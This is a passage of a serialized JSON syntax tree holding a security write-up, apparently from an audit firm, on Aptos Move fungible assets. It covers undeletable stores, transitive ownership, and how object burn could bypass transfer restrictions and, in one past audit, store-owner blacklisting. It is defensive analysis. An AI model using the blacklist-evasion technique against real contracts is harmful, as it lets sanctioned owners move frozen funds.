decimals",{"type":23,"tag":141,"props":61637,"children":61638},{"style":154},[61639],{"type":29,"value":2168},{"type":23,"tag":141,"props":61641,"children":61642},{"class":143,"line":810},[61643,61648],{"type":23,"tag":141,"props":61644,"children":61645},{"style":750},[61646],{"type":29,"value":61647}," icon_uri",{"type":23,"tag":141,"props":61649,"children":61650},{"style":154},[61651],{"type":29,"value":2168},{"type":23,"tag":141,"props":61653,"children":61654},{"class":143,"line":824},[61655,61660],{"type":23,"tag":141,"props":61656,"children":61657},{"style":750},[61658],{"type":29,"value":61659}," project_uri",{"type":23,"tag":141,"props":61661,"children":61662},{"style":154},[61663],{"type":29,"value":2168},{"type":23,"tag":141,"props":61665,"children":61666},{"class":143,"line":839},[61667],{"type":23,"tag":141,"props":61668,"children":61669},{"style":154},[61670],{"type":29,"value":2008},{"type":23,"tag":141,"props":61672,"children":61673},{"class":143,"line":848},[61674],{"type":23,"tag":141,"props":61675,"children":61676},{"style":154},[61677],{"type":29,"value":42131},{"type":23,"tag":141,"props":61679,"children":61680},{"class":143,"line":2304},[61681,61685,61689],{"type":23,"tag":141,"props":61682,"children":61683},{"style":154},[61684],{"type":29,"value":2399},{"type":23,"tag":141,"props":61686,"children":61687},{"style":160},[61688],{"type":29,"value":8269},{"type":23,"tag":141,"props":61690,"children":61691},{"style":154},[61692],{"type":29,"value":10452},{"type":23,"tag":141,"props":61694,"children":61695},{"class":143,"line":2313},[61696],{"type":23,"tag":141,"props":61697,"children":61698},{"style":154},[61699],{"type":29,"value":2573},{"type":23,"tag":17463,"props":61701,"children":61702},{},[],{"type":23,"tag":32,"props":61704,"children":61705},{},[61706,61708,61713,61715,61720],{"type":29,"value":61707},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":38,"props":61709,"children":61711},{"className":61710},[],[61712],{"type":29,"value":60557},{"type":29,"value":61714}," is also an object, and a \"secondary\" ",{"type":23,"tag":38,"props":61716,"children":61718},{"className":61717},[],[61719],{"type":29,"value":60557},{"type":29,"value":61721}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":131,"props":61723,"children":61725},{"className":1639,"code":61724,"language":1638,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[61726],{"type":23,"tag":38,"props":61727,"children":61728},{"__ignoreMap":7},[61729,61737,61779,61786,61794],{"type":23,"tag":141,"props":61730,"children":61731},{"class":143,"line":144},[61732],{"type":23,"tag":141,"props":61733,"children":61734},{"style":443},[61735],{"type":29,"value":61736},"//Fungible asset\n",{"type":23,"tag":141,"props":61738,"children":61739},{"class":143,"line":180},[61740,61744,61748,61753,61757,61762,61766,61770,61775],{"type":23,"tag":141,"props":61741,"children":61742},{"style":750},[61743],{"type":29,"value":60156},{"type":23,"tag":141,"props":61745,"children":61746},{"style":750},[61747],{"type":29,"value":4881},{"type":23,"tag":141,"props":61749,"children":61750},{"style":184},[61751],{"type":29,"value":61752}," remove_store",{"type":23,"tag":141,"props":61754,"children":61755},{"style":154},[61756],{"type":29,"value":192},{"type":23,"tag":141,"props":61758,"children":61759},{"style":750},[61760],{"type":29,"value":61761},"delete_ref",{"type":23,"tag":141,"props":61763,"children":61764},{"style":160},[61765],{"type":29,"value":114},{"type":23,"tag":141,"props":61767,"children":61768},{"style":160},[61769],{"type":29,"value":5815},{"type":23,"tag":141,"props":61771,"children":61772},{"style":725},[61773],{"type":29,"value":61774},"DeleteRef",{"type":23,"tag":141,"props":61776,"children":61777},{"style":154},[61778],{"type":29,"value":758},{"type":23,"tag":141,"props":61780,"children":61781},{"class":143,"line":205},[61782],{"type":23,"tag":141,"props":61783,"children":61784},{"emptyLinePlaceholder":15},[61785],{"type":29,"value":719},{"type":23,"tag":141,"props":61787,"children":61788},{"class":143,"line":218},[61789],{"type":23,"tag":141,"props":61790,"children":61791},{"style":443},[61792],{"type":29,"value":61793},"//Object\n",{"type":23,"tag":141,"props":61795,"children":61796},{"class":143,"line":227},[61797,61801,61805,61810,61814,61819,61823,61828],{"type":23,"tag":141,"props":61798,"children":61799},{"style":750},[61800],{"type":29,"value":60156},{"type":23,"tag":141,"props":61802,"children":61803},{"style":750},[61804],{"type":29,"value":4881},{"type":23,"tag":141,"props":61806,"children":61807},{"style":184},[61808],{"type":29,"value":61809}," delete",{"type":23,"tag":141,"props":61811,"children":61812},{"style":154},[61813],{"type":29,"value":192},{"type":23,"tag":141,"props":61815,"children":61816},{"style":449},[61817],{"type":29,"value":61818},"ref",{"type":23,"tag":141,"props":61820,"children":61821},{"style":160},[61822],{"type":29,"value":114},{"type":23,"tag":141,"props":61824,"children":61825},{"style":725},[61826],{"type":29,"value":61827}," DeleteRef",{"type":23,"tag":141,"props":61829,"children":61830},{"style":154},[61831],{"type":29,"value":758},{"type":23,"tag":32,"props":61833,"children":61834},{},[61835,61837,61843,61845,61850,61852,61857,61859,61864,61866,61872,61874,61880,61882,61887],{"type":29,"value":61836},"When ",{"type":23,"tag":38,"props":61838,"children":61840},{"className":61839},[],[61841],{"type":29,"value":61842},"object::delete",{"type":29,"value":61844}," removes the ",{"type":23,"tag":38,"props":61846,"children":61848},{"className":61847},[],[61849],{"type":29,"value":47329},{"type":29,"value":61851}," from a ",{"type":23,"tag":38,"props":61853,"children":61855},{"className":61854},[],[61856],{"type":29,"value":60557},{"type":29,"value":61858}," object, the ",{"type":23,"tag":38,"props":61860,"children":61862},{"className":61861},[],[61863],{"type":29,"value":60557},{"type":29,"value":61865}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":38,"props":61867,"children":61869},{"className":61868},[],[61870],{"type":29,"value":61871},"remove_store",{"type":29,"value":61873}," can't create an ",{"type":23,"tag":38,"props":61875,"children":61877},{"className":61876},[],[61878],{"type":29,"value":61879},"Object\u003CFungibleStore>",{"type":29,"value":61881}," without an ",{"type":23,"tag":38,"props":61883,"children":61885},{"className":61884},[],[61886],{"type":29,"value":47329},{"type":29,"value":61888}," underneath, causing the operation to fail.",{"type":23,"tag":131,"props":61890,"children":61892},{"className":1639,"code":61891,"language":1638,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[61893],{"type":23,"tag":38,"props":61894,"children":61895},{"__ignoreMap":7},[61896,61951,62003,62018],{"type":23,"tag":141,"props":61897,"children":61898},{"class":143,"line":144},[61899,61903,61907,61911,61915,61919,61923,61927,61931,61935,61939,61943,61947],{"type":23,"tag":141,"props":61900,"children":61901},{"style":750},[61902],{"type":29,"value":60156},{"type":23,"tag":141,"props":61904,"children":61905},{"style":750},[61906],{"type":29,"value":4881},{"type":23,"tag":141,"props":61908,"children":61909},{"style":184},[61910],{"type":29,"value":61752},{"type":23,"tag":141,"props":61912,"children":61913},{"style":154},[61914],{"type":29,"value":192},{"type":23,"tag":141,"props":61916,"children":61917},{"style":750},[61918],{"type":29,"value":61761},{"type":23,"tag":141,"props":61920,"children":61921},{"style":160},[61922],{"type":29,"value":114},{"type":23,"tag":141,"props":61924,"children":61925},{"style":160},[61926],{"type":29,"value":5815},{"type":23,"tag":141,"props":61928,"children":61929},{"style":725},[61930],{"type":29,"value":61774},{"type":23,"tag":141,"props":61932,"children":61933},{"style":154},[61934],{"type":29,"value":1748},{"type":23,"tag":141,"props":61936,"children":61937},{"style":750},[61938],{"type":29,"value":5018},{"type":23,"tag":141,"props":61940,"children":61941},{"style":154},[61942],{"type":29,"value":21704},{"type":23,"tag":141,"props":61944,"children":61945},{"style":160},[61946],{"type":29,"value":8269},{"type":23,"tag":141,"props":61948,"children":61949},{"style":154},[61950],{"type":29,"value":60247},{"type":23,"tag":141,"props":61952,"children":61953},{"class":143,"line":180},[61954,61958,61962,61966,61970,61974,61978,61983,61987,61991,61995,61999],{"type":23,"tag":141,"props":61955,"children":61956},{"style":449},[61957],{"type":29,"value":1659},{"type":23,"tag":141,"props":61959,"children":61960},{"style":750},[61961],{"type":29,"value":4505},{"type":23,"tag":141,"props":61963,"children":61964},{"style":160},[61965],{"type":29,"value":1674},{"type":23,"tag":141,"props":61967,"children":61968},{"style":160},[61969],{"type":29,"value":5815},{"type":23,"tag":141,"props":61971,"children":61972},{"style":154},[61973],{"type":29,"value":61391},{"type":23,"tag":141,"props":61975,"children":61976},{"style":160},[61977],{"type":29,"value":2141},{"type":23,"tag":141,"props":61979,"children":61980},{"style":750},[61981],{"type":29,"value":61982},"object_from_delete_ref",{"type":23,"tag":141,"props":61984,"children":61985},{"style":154},[61986],{"type":29,"value":4480},{"type":23,"tag":141,"props":61988,"children":61989},{"style":725},[61990],{"type":29,"value":60557},{"type":23,"tag":141,"props":61992,"children":61993},{"style":154},[61994],{"type":29,"value":6285},{"type":23,"tag":141,"props":61996,"children":61997},{"style":750},[61998],{"type":29,"value":61761},{"type":23,"tag":141,"props":62000,"children":62001},{"style":154},[62002],{"type":29,"value":2496},{"type":23,"tag":141,"props":62004,"children":62005},{"class":143,"line":205},[62006,62010,62014],{"type":23,"tag":141,"props":62007,"children":62008},{"style":154},[62009],{"type":29,"value":61199},{"type":23,"tag":141,"props":62011,"children":62012},{"style":160},[62013],{"type":29,"value":8269},{"type":23,"tag":141,"props":62015,"children":62016},{"style":154},[62017],{"type":29,"value":10452},{"type":23,"tag":141,"props":62019,"children":62020},{"class":143,"line":218},[62021],{"type":23,"tag":141,"props":62022,"children":62023},{"style":154},[62024],{"type":29,"value":2573},{"type":23,"tag":32,"props":62026,"children":62027},{},[62028,62030,62035,62037,62043,62045,62050],{"type":29,"value":62029},"In addition, such \"deleted\" ",{"type":23,"tag":38,"props":62031,"children":62033},{"className":62032},[],[62034],{"type":29,"value":60557},{"type":29,"value":62036}," objects remain at least partially operable. For instance, ",{"type":23,"tag":38,"props":62038,"children":62040},{"className":62039},[],[62041],{"type":29,"value":62042},"fungible_asset::deposit",{"type":29,"value":62044}," does not check the ",{"type":23,"tag":38,"props":62046,"children":62048},{"className":62047},[],[62049],{"type":29,"value":47329},{"type":29,"value":62051}," existence.",{"type":23,"tag":8287,"props":62053,"children":62055},{"id":62054},"ownership",[62056],{"type":29,"value":62057},"Ownership",{"type":23,"tag":32,"props":62059,"children":62060},{},[62061,62063,62068,62070,62076,62078,62083],{"type":29,"value":62062},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":38,"props":62064,"children":62066},{"className":62065},[],[62067],{"type":29,"value":47329},{"type":29,"value":62069}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":38,"props":62071,"children":62073},{"className":62072},[],[62074],{"type":29,"value":62075},"object::owns",{"type":29,"value":62077}," to confirm ownership of the ",{"type":23,"tag":38,"props":62079,"children":62081},{"className":62080},[],[62082],{"type":29,"value":60557},{"type":29,"value":48655},{"type":23,"tag":131,"props":62085,"children":62087},{"className":1639,"code":62086,"language":1638,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[62088],{"type":23,"tag":38,"props":62089,"children":62090},{"__ignoreMap":7},[62091,62139,62163,62190,62210,62238,62306,62321],{"type":23,"tag":141,"props":62092,"children":62093},{"class":143,"line":144},[62094,62098,62102,62106,62110,62114,62119,62123,62127,62131,62135],{"type":23,"tag":141,"props":62095,"children":62096},{"style":184},[62097],{"type":29,"value":60156},{"type":23,"tag":141,"props":62099,"children":62100},{"style":154},[62101],{"type":29,"value":192},{"type":23,"tag":141,"props":62103,"children":62104},{"style":750},[62105],{"type":29,"value":5772},{"type":23,"tag":141,"props":62107,"children":62108},{"style":154},[62109],{"type":29,"value":1748},{"type":23,"tag":141,"props":62111,"children":62112},{"style":750},[62113],{"type":29,"value":5781},{"type":23,"tag":141,"props":62115,"children":62116},{"style":750},[62117],{"type":29,"value":62118}," withdraw_sanity_check",{"type":23,"tag":141,"props":62120,"children":62121},{"style":154},[62122],{"type":29,"value":4480},{"type":23,"tag":141,"props":62124,"children":62125},{"style":725},[62126],{"type":29,"value":4661},{"type":23,"tag":141,"props":62128,"children":62129},{"style":160},[62130],{"type":29,"value":114},{"type":23,"tag":141,"props":62132,"children":62133},{"style":750},[62134],{"type":29,"value":4605},{"type":23,"tag":141,"props":62136,"children":62137},{"style":154},[62138],{"type":29,"value":5262},{"type":23,"tag":141,"props":62140,"children":62141},{"class":143,"line":180},[62142,62147,62151,62155,62159],{"type":23,"tag":141,"props":62143,"children":62144},{"style":750},[62145],{"type":29,"value":62146}," owner",{"type":23,"tag":141,"props":62148,"children":62149},{"style":160},[62150],{"type":29,"value":114},{"type":23,"tag":141,"props":62152,"children":62153},{"style":160},[62154],{"type":29,"value":5815},{"type":23,"tag":141,"props":62156,"children":62157},{"style":750},[62158],{"type":29,"value":5820},{"type":23,"tag":141,"props":62160,"children":62161},{"style":154},[62162],{"type":29,"value":2168},{"type":23,"tag":141,"props":62164,"children":62165},{"class":143,"line":205},[62166,62170,62174,62178,62182,62186],{"type":23,"tag":141,"props":62167,"children":62168},{"style":750},[62169],{"type":29,"value":465},{"type":23,"tag":141,"props":62171,"children":62172},{"style":160},[62173],{"type":29,"value":114},{"type":23,"tag":141,"props":62175,"children":62176},{"style":725},[62177],{"type":29,"value":60042},{"type":23,"tag":141,"props":62179,"children":62180},{"style":154},[62181],{"type":29,"value":4480},{"type":23,"tag":141,"props":62183,"children":62184},{"style":725},[62185],{"type":29,"value":4661},{"type":23,"tag":141,"props":62187,"children":62188},{"style":154},[62189],{"type":29,"value":4812},{"type":23,"tag":141,"props":62191,"children":62192},{"class":143,"line":218},[62193,62198,62202,62206],{"type":23,"tag":141,"props":62194,"children":62195},{"style":750},[62196],{"type":29,"value":62197}," abort_on_dispatch",{"type":23,"tag":141,"props":62199,"children":62200},{"style":160},[62201],{"type":29,"value":114},{"type":23,"tag":141,"props":62203,"children":62204},{"style":725},[62205],{"type":29,"value":10730},{"type":23,"tag":141,"props":62207,"children":62208},{"style":154},[62209],{"type":29,"value":2168},{"type":23,"tag":141,"props":62211,"children":62212},{"class":143,"line":227},[62213,62217,62221,62225,62229,62234],{"type":23,"tag":141,"props":62214,"children":62215},{"style":154},[62216],{"type":29,"value":1748},{"type":23,"tag":141,"props":62218,"children":62219},{"style":750},[62220],{"type":29,"value":5018},{"type":23,"tag":141,"props":62222,"children":62223},{"style":725},[62224],{"type":29,"value":60577},{"type":23,"tag":141,"props":62226,"children":62227},{"style":154},[62228],{"type":29,"value":480},{"type":23,"tag":141,"props":62230,"children":62231},{"style":725},[62232],{"type":29,"value":62233},"DispatchFunctionStore",{"type":23,"tag":141,"props":62235,"children":62236},{"style":154},[62237],{"type":29,"value":1951},{"type":23,"tag":141,"props":62239,"children":62240},{"class":143,"line":241},[62241,62245,62250,62254,62259,62263,62267,62271,62275,62279,62283,62287,62292,62296,62301],{"type":23,"tag":141,"props":62242,"children":62243},{"style":184},[62244],{"type":29,"value":60825},{"type":23,"tag":141,"props":62246,"children":62247},{"style":154},[62248],{"type":29,"value":62249},"(object",{"type":23,"tag":141,"props":62251,"children":62252},{"style":160},[62253],{"type":29,"value":2141},{"type":23,"tag":141,"props":62255,"children":62256},{"style":184},[62257],{"type":29,"value":62258},"owns",{"type":23,"tag":141,"props":62260,"children":62261},{"style":154},[62262],{"type":29,"value":192},{"type":23,"tag":141,"props":62264,"children":62265},{"style":750},[62266],{"type":29,"value":4614},{"type":23,"tag":141,"props":62268,"children":62269},{"style":154},[62270],{"type":29,"value":11614},{"type":23,"tag":141,"props":62272,"children":62273},{"style":160},[62274],{"type":29,"value":2141},{"type":23,"tag":141,"props":62276,"children":62277},{"style":184},[62278],{"type":29,"value":5883},{"type":23,"tag":141,"props":62280,"children":62281},{"style":154},[62282],{"type":29,"value":192},{"type":23,"tag":141,"props":62284,"children":62285},{"style":750},[62286],{"type":29,"value":14285},{"type":23,"tag":141,"props":62288,"children":62289},{"style":154},[62290],{"type":29,"value":62291},")), error",{"type":23,"tag":141,"props":62293,"children":62294},{"style":160},[62295],{"type":29,"value":2141},{"type":23,"tag":141,"props":62297,"children":62298},{"style":184},[62299],{"type":29,"value":62300},"permission_denied",{"type":23,"tag":141,"props":62302,"children":62303},{"style":154},[62304],{"type":29,"value":62305},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":141,"props":62307,"children":62308},{"class":143,"line":262},[62309,62313,62317],{"type":23,"tag":141,"props":62310,"children":62311},{"style":154},[62312],{"type":29,"value":61199},{"type":23,"tag":141,"props":62314,"children":62315},{"style":160},[62316],{"type":29,"value":8269},{"type":23,"tag":141,"props":62318,"children":62319},{"style":154},[62320],{"type":29,"value":10452},{"type":23,"tag":141,"props":62322,"children":62323},{"class":143,"line":271},[62324],{"type":23,"tag":141,"props":62325,"children":62326},{"style":154},[62327],{"type":29,"value":2573},{"type":23,"tag":32,"props":62329,"children":62330},{},[62331,62333,62338,62340,62346,62348,62354],{"type":29,"value":62332},"The thing to note is that defining ownership with ",{"type":23,"tag":38,"props":62334,"children":62336},{"className":62335},[],[62337],{"type":29,"value":62075},{"type":29,"value":62339}," can be tricky. The ",{"type":23,"tag":38,"props":62341,"children":62343},{"className":62342},[],[62344],{"type":29,"value":62345},"burn",{"type":29,"value":62347}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":38,"props":62349,"children":62351},{"className":62350},[],[62352],{"type":29,"value":62353},"BURN_ADDRESS",{"type":29,"value":62355}," while bypassing transfer restrictions:",{"type":23,"tag":131,"props":62357,"children":62359},{"className":1639,"code":62358,"language":1638,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[62360],{"type":23,"tag":38,"props":62361,"children":62362},{"__ignoreMap":7},[62363,62460,62501,62551,62580,62630,62651],{"type":23,"tag":141,"props":62364,"children":62365},{"class":143,"line":144},[62366,62370,62374,62378,62383,62387,62391,62395,62399,62403,62407,62411,62415,62419,62423,62427,62431,62435,62439,62443,62447,62451,62456],{"type":23,"tag":141,"props":62367,"children":62368},{"style":750},[62369],{"type":29,"value":60156},{"type":23,"tag":141,"props":62371,"children":62372},{"style":750},[62373],{"type":29,"value":61123},{"type":23,"tag":141,"props":62375,"children":62376},{"style":750},[62377],{"type":29,"value":4881},{"type":23,"tag":141,"props":62379,"children":62380},{"style":750},[62381],{"type":29,"value":62382}," burn",{"type":23,"tag":141,"props":62384,"children":62385},{"style":154},[62386],{"type":29,"value":4480},{"type":23,"tag":141,"props":62388,"children":62389},{"style":725},[62390],{"type":29,"value":4661},{"type":23,"tag":141,"props":62392,"children":62393},{"style":160},[62394],{"type":29,"value":114},{"type":23,"tag":141,"props":62396,"children":62397},{"style":750},[62398],{"type":29,"value":4605},{"type":23,"tag":141,"props":62400,"children":62401},{"style":154},[62402],{"type":29,"value":6285},{"type":23,"tag":141,"props":62404,"children":62405},{"style":750},[62406],{"type":29,"value":14285},{"type":23,"tag":141,"props":62408,"children":62409},{"style":160},[62410],{"type":29,"value":114},{"type":23,"tag":141,"props":62412,"children":62413},{"style":160},[62414],{"type":29,"value":5815},{"type":23,"tag":141,"props":62416,"children":62417},{"style":750},[62418],{"type":29,"value":5820},{"type":23,"tag":141,"props":62420,"children":62421},{"style":154},[62422],{"type":29,"value":480},{"type":23,"tag":141,"props":62424,"children":62425},{"style":750},[62426],{"type":29,"value":61391},{"type":23,"tag":141,"props":62428,"children":62429},{"style":160},[62430],{"type":29,"value":114},{"type":23,"tag":141,"props":62432,"children":62433},{"style":725},[62434],{"type":29,"value":60042},{"type":23,"tag":141,"props":62436,"children":62437},{"style":154},[62438],{"type":29,"value":4480},{"type":23,"tag":141,"props":62440,"children":62441},{"style":725},[62442],{"type":29,"value":4661},{"type":23,"tag":141,"props":62444,"children":62445},{"style":154},[62446],{"type":29,"value":19118},{"type":23,"tag":141,"props":62448,"children":62449},{"style":750},[62450],{"type":29,"value":5018},{"type":23,"tag":141,"props":62452,"children":62453},{"style":725},[62454],{"type":29,"value":62455}," ObjectCore",{"type":23,"tag":141,"props":62457,"children":62458},{"style":154},[62459],{"type":29,"value":1951},{"type":23,"tag":141,"props":62461,"children":62462},{"class":143,"line":180},[62463,62467,62472,62476,62481,62485,62489,62493,62497],{"type":23,"tag":141,"props":62464,"children":62465},{"style":449},[62466],{"type":29,"value":1659},{"type":23,"tag":141,"props":62468,"children":62469},{"style":750},[62470],{"type":29,"value":62471}," original_owner",{"type":23,"tag":141,"props":62473,"children":62474},{"style":160},[62475],{"type":29,"value":1674},{"type":23,"tag":141,"props":62477,"children":62478},{"style":154},[62479],{"type":29,"value":62480}," signer",{"type":23,"tag":141,"props":62482,"children":62483},{"style":160},[62484],{"type":29,"value":2141},{"type":23,"tag":141,"props":62486,"children":62487},{"style":184},[62488],{"type":29,"value":5883},{"type":23,"tag":141,"props":62490,"children":62491},{"style":154},[62492],{"type":29,"value":192},{"type":23,"tag":141,"props":62494,"children":62495},{"style":750},[62496],{"type":29,"value":14285},{"type":23,"tag":141,"props":62498,"children":62499},{"style":154},[62500],{"type":29,"value":2496},{"type":23,"tag":141,"props":62502,"children":62503},{"class":143,"line":205},[62504,62508,62512,62517,62521,62525,62529,62534,62538,62542,62546],{"type":23,"tag":141,"props":62505,"children":62506},{"style":184},[62507],{"type":29,"value":60825},{"type":23,"tag":141,"props":62509,"children":62510},{"style":154},[62511],{"type":29,"value":192},{"type":23,"tag":141,"props":62513,"children":62514},{"style":184},[62515],{"type":29,"value":62516},"is_owner",{"type":23,"tag":141,"props":62518,"children":62519},{"style":154},[62520],{"type":29,"value":192},{"type":23,"tag":141,"props":62522,"children":62523},{"style":750},[62524],{"type":29,"value":61391},{"type":23,"tag":141,"props":62526,"children":62527},{"style":154},[62528],{"type":29,"value":480},{"type":23,"tag":141,"props":62530,"children":62531},{"style":750},[62532],{"type":29,"value":62533},"original_owner",{"type":23,"tag":141,"props":62535,"children":62536},{"style":154},[62537],{"type":29,"value":61414},{"type":23,"tag":141,"props":62539,"children":62540},{"style":160},[62541],{"type":29,"value":2141},{"type":23,"tag":141,"props":62543,"children":62544},{"style":184},[62545],{"type":29,"value":62300},{"type":23,"tag":141,"props":62547,"children":62548},{"style":154},[62549],{"type":29,"value":62550},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":141,"props":62552,"children":62553},{"class":143,"line":218},[62554,62558,62563,62567,62571,62575],{"type":23,"tag":141,"props":62555,"children":62556},{"style":449},[62557],{"type":29,"value":1659},{"type":23,"tag":141,"props":62559,"children":62560},{"style":750},[62561],{"type":29,"value":62562}," object_addr",{"type":23,"tag":141,"props":62564,"children":62565},{"style":160},[62566],{"type":29,"value":1674},{"type":23,"tag":141,"props":62568,"children":62569},{"style":750},[62570],{"type":29,"value":60975},{"type":23,"tag":141,"props":62572,"children":62573},{"style":160},[62574],{"type":29,"value":322},{"type":23,"tag":141,"props":62576,"children":62577},{"style":154},[62578],{"type":29,"value":62579},"inner;\n",{"type":23,"tag":141,"props":62581,"children":62582},{"class":143,"line":227},[62583,62587,62591,62595,62600,62604,62609,62613,62618,62622,62626],{"type":23,"tag":141,"props":62584,"children":62585},{"style":184},[62586],{"type":29,"value":61578},{"type":23,"tag":141,"props":62588,"children":62589},{"style":154},[62590],{"type":29,"value":192},{"type":23,"tag":141,"props":62592,"children":62593},{"style":160},[62594],{"type":29,"value":1770},{"type":23,"tag":141,"props":62596,"children":62597},{"style":184},[62598],{"type":29,"value":62599},"create_signer",{"type":23,"tag":141,"props":62601,"children":62602},{"style":154},[62603],{"type":29,"value":192},{"type":23,"tag":141,"props":62605,"children":62606},{"style":750},[62607],{"type":29,"value":62608},"object_addr",{"type":23,"tag":141,"props":62610,"children":62611},{"style":154},[62612],{"type":29,"value":13854},{"type":23,"tag":141,"props":62614,"children":62615},{"style":725},[62616],{"type":29,"value":62617},"TombStone",{"type":23,"tag":141,"props":62619,"children":62620},{"style":154},[62621],{"type":29,"value":8264},{"type":23,"tag":141,"props":62623,"children":62624},{"style":750},[62625],{"type":29,"value":62533},{"type":23,"tag":141,"props":62627,"children":62628},{"style":154},[62629],{"type":29,"value":37306},{"type":23,"tag":141,"props":62631,"children":62632},{"class":143,"line":241},[62633,62638,62642,62646],{"type":23,"tag":141,"props":62634,"children":62635},{"style":184},[62636],{"type":29,"value":62637}," transfer_raw_inner",{"type":23,"tag":141,"props":62639,"children":62640},{"style":154},[62641],{"type":29,"value":192},{"type":23,"tag":141,"props":62643,"children":62644},{"style":750},[62645],{"type":29,"value":62608},{"type":23,"tag":141,"props":62647,"children":62648},{"style":154},[62649],{"type":29,"value":62650},", BURN_ADDRESS);\n",{"type":23,"tag":141,"props":62652,"children":62653},{"class":143,"line":262},[62654],{"type":23,"tag":141,"props":62655,"children":62656},{"style":154},[62657],{"type":29,"value":2573},{"type":23,"tag":32,"props":62659,"children":62660},{},[62661,62667,62669,62674,62675,62682,62684,62689],{"type":23,"tag":38,"props":62662,"children":62664},{"className":62663},[],[62665],{"type":29,"value":62666},"unburn",{"type":29,"value":62668}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":38,"props":62670,"children":62672},{"className":62671},[],[62673],{"type":29,"value":62353},{"type":29,"value":1095},{"type":23,"tag":55,"props":62676,"children":62679},{"href":62677,"rel":62678},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[59],[62680],{"type":29,"value":62681},"AIP-99",{"type":29,"value":62683}," is a proposal to roll back the ",{"type":23,"tag":38,"props":62685,"children":62687},{"className":62686},[],[62688],{"type":29,"value":62345},{"type":29,"value":62690}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":355,"props":62692,"children":62693},{},[62694],{"type":23,"tag":32,"props":62695,"children":62696},{},[62697,62699,62703],{"type":29,"value":62698},"This ",{"type":23,"tag":141,"props":62700,"children":62701},{},[62702],{"type":29,"value":62681},{"type":29,"value":62704}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":32,"props":62706,"children":62707},{},[62708,62710,62716,62718,62723,62725,62730],{"type":29,"value":62709},"Another important thing is that ",{"type":23,"tag":38,"props":62711,"children":62713},{"className":62712},[],[62714],{"type":29,"value":62715},"fungible_asset::set_untransferable",{"type":29,"value":62717}," can be used to make all new ",{"type":23,"tag":38,"props":62719,"children":62721},{"className":62720},[],[62722],{"type":29,"value":61061},{"type":29,"value":62724}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":38,"props":62726,"children":62728},{"className":62727},[],[62729],{"type":29,"value":60557},{"type":29,"value":322},{"type":23,"tag":32,"props":62732,"children":62733},{},[62734,62736,62741,62743,62749,62751,62756,62758,62763],{"type":29,"value":62735},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":38,"props":62737,"children":62739},{"className":62738},[],[62740],{"type":29,"value":60557},{"type":29,"value":62742},", X can withdraw from that store. This is because ",{"type":23,"tag":38,"props":62744,"children":62746},{"className":62745},[],[62747],{"type":29,"value":62748},"fungible_asset::withdraw",{"type":29,"value":62750}," uses ",{"type":23,"tag":38,"props":62752,"children":62754},{"className":62753},[],[62755],{"type":29,"value":62075},{"type":29,"value":62757}," to verify both direct and indirect ownership of the ",{"type":23,"tag":38,"props":62759,"children":62761},{"className":62760},[],[62762],{"type":29,"value":60557},{"type":29,"value":48655},{"type":23,"tag":131,"props":62765,"children":62767},{"className":1639,"code":62766,"language":1638,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[62768],{"type":23,"tag":38,"props":62769,"children":62770},{"__ignoreMap":7},[62771,62832,62848,62878,62907,62922,62934,62964,62985,62992,63032,63057,63064],{"type":23,"tag":141,"props":62772,"children":62773},{"class":143,"line":144},[62774,62778,62783,62787,62791,62795,62799,62803,62808,62812,62816,62820,62824,62828],{"type":23,"tag":141,"props":62775,"children":62776},{"style":750},[62777],{"type":29,"value":5781},{"type":23,"tag":141,"props":62779,"children":62780},{"style":184},[62781],{"type":29,"value":62782}," 